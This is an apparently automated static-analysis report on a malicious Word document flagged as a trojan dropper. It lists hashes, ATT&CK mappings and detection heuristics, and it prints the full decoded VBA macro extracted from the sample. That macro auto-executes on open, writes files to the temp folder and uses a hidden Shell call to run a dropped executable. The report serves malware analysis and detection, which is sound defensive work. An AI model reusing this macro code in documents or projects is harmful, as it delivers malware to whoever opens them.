Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5a0b946d1d5f73ec…

MALICIOUS

Office (OLE)

120.5 KB Created: 2016-05-04 10:13:00 Authoring application: Microsoft Office Word First seen: 2018-07-14
MD5: 2abcbf59ea179be4d8365283f927d7cc SHA-1: 71153536ed717d4ba0be38f659f53470660c9da8 SHA-256: 5a0b946d1d5f73ec4c056a0eb4e0a46990f31cee8994ebc37ef376904fca6391
574 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains critical VBA heuristics indicating auto-execution, shell calls, and the creation of objects, alongside an embedded PE executable. The AutoOpen macro attempts to execute a dropped file by constructing a temporary path and using the Shell function, likely to download and run a second-stage payload. The presence of an embedded executable and the use of API calls like VirtualAlloc and LoadLibrary further support this malicious behavior.

Heuristics 17

  • OLE with Ole10Native — possible CVE-2026-21514 exploitation high CVE likely CVE_2026_21514
    Document contains a Word OLE object with Ole10Native plus executable, PE, or risky remote-link indicators. CVE-2026-21514 exploits OLE metadata validation; this stronger structure is treated as likely exploitation.
  • ClamAV: Win.Trojan.Agent-6947506-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Agent-6947506-1
  • Embedded PE executable critical OLE_EMBEDDED_EXE
    MZ/PE header found inside document — possible embedded executable
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Dim hpe As Variant
hpe = Shell(ggb, 0)
End Function
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    BHJASD = Chr(102 + 8)
Set gyHgvvHh = CreateObject("W" & "" & "or" & "d." & "Applicatio" & BHJASD)
gyHgvvHh.Visible = bbgd
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Customizable = True
Sub AutoOpen()
    BNHJWQD = "kj3h jh23jk"
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
    UhhfGve
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    End Function
Sub Auto_Open()
    MoneCuyri
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    TTGDFW = LyhJb(3 + 90 + sts)
DBDDW = Environ(TYGE) + TTGDFW
JIEKR = "." & "tmp" & ""
  • Reference to LoadLibrary API high SC_STR_LOADLIBRARY
    Reference to LoadLibrary API
  • Reference to GetProcAddress API high SC_STR_GETPROCADDRESS
    Reference to GetProcAddress API
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1800 bytes
SHA-256: 30c1757f3672020a9d793313ceb7a25171135ab4b2a91585e9ed0a9da483506f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
    BNHJWQD = "kj3h jh23jk"
    UhhfGve
End Sub
Sub Workbook_Open()
    UhhfGve
End Sub
Sub UhhfGve()
    MoneCuyri
End Sub
Sub MoneCuyri()
Dim bbgd As Boolean, sts As Integer, YGEW As String
JBHJKN = "768 hg 6t7"
sts = -49 + 48
TYGE = "T" & "EM" & ""
TYGE = TYGE & "P"
bbgd = False
On Error Resume Next
Dim WOIEW As String
TTGDFW = LyhJb(3 + 90 + sts)
DBDDW = Environ(TYGE) + TTGDFW
JIEKR = "." & "tmp" & ""
FFDRRF = "" & ".rtf"
LQWDO = DBDDW

FFFNNNF = LQWDO + "hg6fh" + FFDRRF
SSHHDD = DBDDW & "vghfty" + FFDRRF
WOIEW = DBDDW & "" & "z4" & JIEKR

TggYuhg (FFFNNNF)
TggYuhg (SSHHDD)

Module1.Tyryka (2)
BHJASD = Chr(102 + 8)
Set gyHgvvHh = CreateObject("W" & "" & "or" & "d." & "Applicatio" & BHJASD)
gyHgvvHh.Visible = bbgd
gyHgvvHh.Documents.Open (FFFNNNF)
Module1.Tyryka (2)
HYUASGD = Module1.Girow(WOIEW)
Module1.Tyryka (3)
gyHgvvHh.Quit
Set gyHgvvHh = Nothing
End Sub
Public Function LyhJb(wbrw As Integer)
    LyhJb = Chr(wbrw)
End Function
Public Function TggYuhg(vnhe As String)
    ActiveDocument.SaveAs FileName:=vnhe, FileFormat:=5 + 1
End Function
Sub Auto_Open()
    MoneCuyri
End Sub

Attribute VB_Name = "Module1"
Sub Tyryka(Hbgg As Long)
bfh = 764
Dim Lkor As Long, Kijr As Long
Kijr = Hbgg + Timer
Lkor = Kijr
Do While Timer < Lkor
vhue = 64 * 3 * 4 * 1 * 1 * 3 * 1
Loop
End Sub
Public Function Girow(ggb As String)
Dim hpe As Variant
hpe = Shell(ggb, 0)
End Function
embedded_office_0000604c.exe embedded-pe Office MZ+PE at offset 0x604C 98750 bytes
SHA-256: 33055987f22334b733f013babff9c8077aa18af55dc8dc9836ffa86a609e7c47
Detection
ClamAV: Win.Trojan.Agent-6947506-1
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.
ole10native_00.bin ole-package OLE Ole10Native stream: ObjectPool/_1523893199/Ole10Native 75974 bytes
SHA-256: d52fad60b175b2974eab58279a3ac82c3853a924a02d582b70f54fde240e0b78
Detection
ClamAV: Win.Trojan.Agent-6947506-1
Obfuscation or payload: unlikely

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